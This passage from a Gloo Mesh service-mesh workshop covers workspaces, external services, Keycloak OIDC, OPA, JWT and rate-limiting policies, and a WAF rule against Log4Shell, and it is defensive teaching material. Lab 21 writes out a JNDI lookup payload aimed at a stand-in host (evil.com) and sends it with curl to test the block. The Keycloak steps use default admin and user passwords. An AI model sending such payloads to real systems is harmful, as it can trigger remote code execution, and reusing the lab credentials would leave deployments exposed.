, Gloo Mesh also creates the corresponding Istio Sidecar
objects to program the sidecar proxies to only know how to talk to the authorized services.
If you refresh the browser, you'll see that the bookinfo application is still exposed and working correctly.
Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh:
pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0
You should get a 000
response code which means that the communication can't be established.
Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh:
pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}')
kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0
You should get a 403
response code which means that the sidecar proxy of the reviews
service doesn't allow the request.
You've achieved zero trust with nearly no effort.
Lab 14 - Create the httpbin workspace
We're going to create a workspace for the team in charge of the httpbin application.
The platform team needs to create the corresponding Workspace
Kubernetes objects in the Gloo Mesh management cluster.
Like we did before, let's create a config namespace on the management cluster.
kubectl create --context ${MGMT} ns httpbin-config
Let's create the httpbin
workspace which corresponds to the httpbin
namespace on cluster1
:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: Workspace
metadata:
name: httpbin
namespace: gloo-mesh
labels:
allow_ingress: "true"
spec:
workloadClusters:
- name: mgmt
namespaces:
- name: httpbin-config
- name: cluster1
namespaces:
- name: httpbin
EOF
Then, the Httpbin team creates a WorkspaceSettings
Kubernetes object in one of the namespaces of the httpbin
workspace:
kubectl apply --context ${MGMT} -f- <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: WorkspaceSettings
metadata:
name: httpbin
namespace: httpbin-config
spec:
importFrom:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
exportTo:
- workspaces:
- name: gateways
resources:
- kind: SERVICE
labels:
app: in-mesh
- kind: ALL
labels:
expose: "true"
EOF
The Httpbin team has decided to export the following to the gateway
workspace (using a reference):
- the
in-mesh
Kubernetes service - all the resources (RouteTables, VirtualDestination, ...) that have the label
expose
set totrue
Lab 15 - Expose an external service
In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh.
Let's create an ExternalService
corresponding to httpbin.org
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- httpbin.org
ports:
- name: http
number: 80
protocol: HTTP
- name: https
number: 443
protocol: HTTPS
clientsideTls: {}
EOF
Now, you can create a RouteTable
to expose httpbin.org
through the gateway:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- kind: EXTERNAL_SERVICE
port:
number: 443
ref:
name: httpbin
namespace: httpbin
EOF
You should now be able to access httpbin.org
external service through the gateway.
Get the URL to access the httpbin
service using the following command:
echo "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get"
Let's update the RouteTable
to direct 50% of the traffic to the local httpbin
service:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- kind: EXTERNAL_SERVICE
port:
number: 443
ref:
name: httpbin
namespace: httpbin
weight: 50
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
weight: 50
EOF
If you refresh your browser, you should see that you get a response either from the local service or from the external service.
When the response comes from the external service (httpbin.org), there's a X-Amzn-Trace-Id
header.
And when the response comes from the local service, there's a X-B3-Parentspanid
header.
Finally, you can update the RouteTable
to direct all the traffic to the local httpbin
service:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
If you refresh your browser, you should see that you get responses only from the local service.
This diagram shows the flow of the requests :
Lab 16 - Deploy Keycloak
In many use cases, you need to restrict the access to your applications to authenticated users.
OIDC (OpenID Connect) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations.
The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token.
In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later.
Let's install it:
kubectl --context ${MGMT} create namespace keycloak
cat data/steps/deploy-keycloak/keycloak.yaml | kubectl --context ${MGMT} -n keycloak apply -f -
kubectl --context ${MGMT} -n keycloak rollout status deploy/keycloak
Then, we will configure it and create two users:
-
User1 credentials:
user1/password
Email: user1@example.com -
User2 credentials:
user2/password
Email: user2@solo.io
Let's set the environment variables we need:
export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080
export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f1)
export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK} | cut -d: -f2)
export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK}/auth
Now, we need to get a token:
export KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)
After that, we configure Keycloak:
# Create initial token to register the client
read -r client token <<<$(curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"expiration": 0, "count": 1}' $KEYCLOAK_URL/admin/realms/master/clients-initial-access | jq -r '[.id, .token] | @tsv')
export KEYCLOAK_CLIENT=${client}
# Register the client
read -r id secret <<<$(curl -X POST -d "{ \"clientId\": \"${KEYCLOAK_CLIENT}\" }" -H "Content-Type:application/json" -H "Authorization: bearer ${token}" ${KEYCLOAK_URL}/realms/master/clients-registrations/default| jq -r '[.id, .secret] | @tsv')
export KEYCLOAK_SECRET=${secret}
# Add allowed redirect URIs
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X PUT -H "Content-Type: application/json" -d '{"serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://${ENDPOINT_HTTPS_GW_CLUSTER1}'/callback"]}' $KEYCLOAK_URL/admin/realms/master/clients/${id}
# Add the group attribute in the JWT token returned by Keycloak
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": {"claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true"}}' $KEYCLOAK_URL/admin/realms/master/clients/${id}/protocol-mappers/models
# Create first user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user1", "email": "user1@example.com", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users
# Create second user
curl -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -X POST -H "Content-Type: application/json" -d '{"username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": {"group": "users"}, "credentials": [{"type": "password", "value": "password", "temporary": false}]}' $KEYCLOAK_URL/admin/realms/master/users
Note: If you get a Not Authorized error, please, re-run this command and continue from the command started to fail:
KEYCLOAK_TOKEN=$(curl -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token)
Lab 17 - Securing the access with OAuth
In this step, we're going to secure the access to the httpbin
service using OAuth.
First, we need to create a Kubernetes Secret that contains the OIDC secret:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: oauth
namespace: httpbin
type: extauth.solo.io/oauth
data:
client-secret: $(echo -n ${KEYCLOAK_SECRET} | base64)
EOF
Then, you need to create an ExtAuthPolicy
, which is a CRD that contains authentication information:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
name: httpbin
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
server:
name: ext-auth-server
namespace: httpbin
cluster: cluster1
glooAuth:
configs:
- oauth2:
oidcAuthorizationCode:
appUrl: https://${ENDPOINT_HTTPS_GW_CLUSTER1}
callbackPath: /callback
clientId: ${KEYCLOAK_CLIENT}
clientSecretRef:
name: oauth
namespace: httpbin
issuerUrl: "${KEYCLOAK_URL}/realms/master/"
session:
failOnFetchFailure: true
redis:
cookieName: keycloak-session
options:
host: redis:6379
scopes:
- email
headers:
idTokenHeader: jwt
EOF
After that, you need to create an ExtAuthServer
, which is a CRD that define which extauth server to use:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: ExtAuthServer
metadata:
name: ext-auth-server
namespace: httpbin-config
spec:
destinationServer:
ref:
cluster: cluster1
name: ext-auth-service
namespace: gloo-mesh-addons
port:
name: grpc
EOF
Finally, you need to update the RouteTable
to use this AuthConfig
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
labels:
oauth: "true"
matchers:
- uri:
exact: /get
- uri:
prefix: /callback
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
If you refresh the web browser, you will be redirected to the authentication page.
If you use the username user1
and the password password
you should be redirected back to the httpbin
application.
You can also perform authorization using OPA.
First, you need to create a ConfigMap
with the policy written in rego:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: allow-solo-email-users
namespace: httpbin-config
data:
policy.rego: |-
package test
default allow = false
allow {
[header, payload, signature] = io.jwt.decode(input.state.jwt)
endswith(payload["email"], "@solo.io")
}
EOF
Then, you need to update the AuthConfig
object to add the authorization step:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: ExtAuthPolicy
metadata:
name: httpbin
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
server:
name: ext-auth-server
namespace: httpbin
cluster: cluster1
glooAuth:
configs:
- oauth2:
oidcAuthorizationCode:
appUrl: https://${ENDPOINT_HTTPS_GW_CLUSTER1}
callbackPath: /callback
clientId: ${KEYCLOAK_CLIENT}
clientSecretRef:
name: oauth
namespace: httpbin
issuerUrl: "${KEYCLOAK_URL}/realms/master/"
session:
failOnFetchFailure: true
redis:
cookieName: keycloak-session
options:
host: redis:6379
scopes:
- email
headers:
idTokenHeader: jwt
- opaAuth:
modules:
- name: allow-solo-email-users
namespace: httpbin
query: "data.test.allow == true"
EOF
Refresh the web page. user1
shouldn't be allowed to access it anymore since the user's email ends with @example.com
.
If you open the browser in incognito and login using the username user2
and the password password
, you will now be able to access it since the user's email ends with @solo.io
.
This diagram shows the flow of the request (with the Istio ingress gateway leveraging the extauth
Pod to authorize the request):
Lab 18 - Use the JWT filter to create headers from claims
In this step, we're going to validate the JWT token and to create a new header from the email
claim.
Keycloak is running outside of the Service Mesh, so we need to define an ExternalService
and its associated ExternalEndpoint
:
Let's start by the latter:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalEndpoint
metadata:
name: keycloak
namespace: httpbin-config
labels:
host: keycloak
spec:
address: ${HOST_KEYCLOAK}
ports:
- name: http
number: ${PORT_KEYCLOAK}
EOF
Then we can create the former:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
name: keycloak
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- keycloak
ports:
- name: http
number: ${PORT_KEYCLOAK}
protocol: HTTP
selector:
host: keycloak
EOF
Now, we can create a JWTPolicy
to extract the claim.
Create the policy:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: JWTPolicy
metadata:
name: httpbin
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
phase:
postAuthz:
priority: 1
providers:
keycloak:
issuer: ${KEYCLOAK_URL}/realms/master
tokenSource:
headers:
- name: jwt
remote:
url: ${KEYCLOAK_URL}/realms/master/protocol/openid-connect/certs
destinationRef:
kind: EXTERNAL_SERVICE
ref:
name: keycloak
port:
number: ${PORT_KEYCLOAK}
claimsToHeaders:
- claim: email
header: X-Email
EOF
You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).
If you refresh the web page, you should see a new X-Email
header added to the request with the value user2@solo.io
Lab 19 - Use the transformation filter to manipulate headers
In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one:
Let's create a TransformationPolicy
to extract the claim.
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: TransformationPolicy
metadata:
name: modify-header
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
phase:
postAuthz:
priority: 2
request:
injaTemplate:
extractors:
organization:
header: 'X-Email'
regex: '.*@(.*)$'
subgroup: 1
headers:
x-organization:
text: "{{ organization }}"
EOF
You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).
If you refresh the web page, you should see a new X-Organization
header added to the request with the value solo.io
Lab 20 - Apply rate limiting to the Gateway
In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the solo.io
organization.
First, we need to create a RateLimitClientConfig
object to define the descriptors:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitClientConfig
metadata:
name: httpbin
namespace: httpbin-config
spec:
raw:
rateLimits:
- setActions:
- requestHeaders:
descriptorKey: organization
headerName: X-Organization
EOF
Then, we need to create a RateLimitServerConfig
object to define the limits based on the descriptors:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerConfig
metadata:
name: httpbin
namespace: httpbin-config
spec:
destinationServers:
- ref:
cluster: cluster1
name: rate-limiter
namespace: gloo-mesh-addons
port:
name: grpc
raw:
setDescriptors:
- simpleDescriptors:
- key: organization
value: solo.io
rateLimit:
requestsPerUnit: 3
unit: MINUTE
EOF
After that, we need to create a RateLimitPolicy
object to define the descriptors:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitPolicy
metadata:
name: httpbin
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
ratelimited: "true"
config:
serverSettings:
name: rate-limit-server
namespace: httpbin
cluster: cluster1
ratelimitClientConfig:
name: httpbin
namespace: httpbin
cluster: cluster1
ratelimitServerConfig:
name: httpbin
namespace: httpbin
cluster: cluster1
phase:
postAuthz:
priority: 3
EOF
We also need to create a RateLimitServerSettings
, which is a CRD that define which extauth server to use:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerSettings
metadata:
name: rate-limit-server
namespace: httpbin-config
spec:
destinationServer:
ref:
cluster: cluster1
name: rate-limiter
namespace: gloo-mesh-addons
port:
name: grpc
EOF
Finally, you need to update the RouteTable
to use this RateLimitPolicy
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
labels:
oauth: "true"
ratelimited: "true"
matchers:
- uri:
exact: /get
- uri:
prefix: /callback
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
Refresh the web page multiple times.
You should get a 200
response code the first 3 time and a 429
response code after.
This diagram shows the flow of the request (with the Istio ingress gateway leveraging the rate limiter
Pod to determine if the request should be allowed):
Let's apply the original RouteTable
yaml:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
And also delete the different objects we've created:
kubectl --context ${MGMT} -n httpbin-config delete ratelimitpolicy httpbin
kubectl --context ${MGMT} -n httpbin-config delete ratelimitclientconfig httpbin
kubectl --context ${MGMT} -n httpbin-config delete ratelimitserverconfig httpbin
kubectl --context ${MGMT} -n httpbin-config delete ratelimitserversettings rate-limit-server
Lab 21 - Use the Web Application Firewall filter
A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them.
Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections.
An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability (CVE-2021-44228), which for many enterprises was a major ordeal that took weeks and months of updating all services.
The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit.
Using the Web Application Firewall capabilities you can reject requests containing such headers.
Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}
. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.
Create the WAF policy:
kubectl --context ${MGMT} apply -f - <<'EOF'
apiVersion: security.policy.gloo.solo.io/v2
kind: WAFPolicy
metadata:
name: log4shell
namespace: httpbin-config
spec:
applyToRoutes:
- route:
labels:
waf: "true"
config:
disableCoreRuleSet: true
customInterventionMessage: 'Log4Shell malicious payload'
customRuleSets:
- ruleStr: |
SecRuleEngine On
SecRequestBodyAccess On
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*
"@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://"
"id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"
EOF
Finally, you need to update the RouteTable
to use this AuthConfig
:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
labels:
waf: "true"
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
Run the following command to simulate an attack:
curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get -i
The request should be rejected:
HTTP/2 403
content-length: 27
content-type: text/plain
date: Tue, 05 Apr 2022 10:20:06 GMT
server: istio-envoy
Log4Shell malicious payload
Let's apply the original RouteTable
yaml:
kubectl --context ${MGMT} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin-config
labels:
expose: "true"
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: gateways-config
cluster: mgmt
workloadSelectors: []
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
And also delete the waf policy we've created:
kubectl --context ${MGMT} -n httpbin-config delete wafpolicies.security.policy.gloo.solo.io log4shell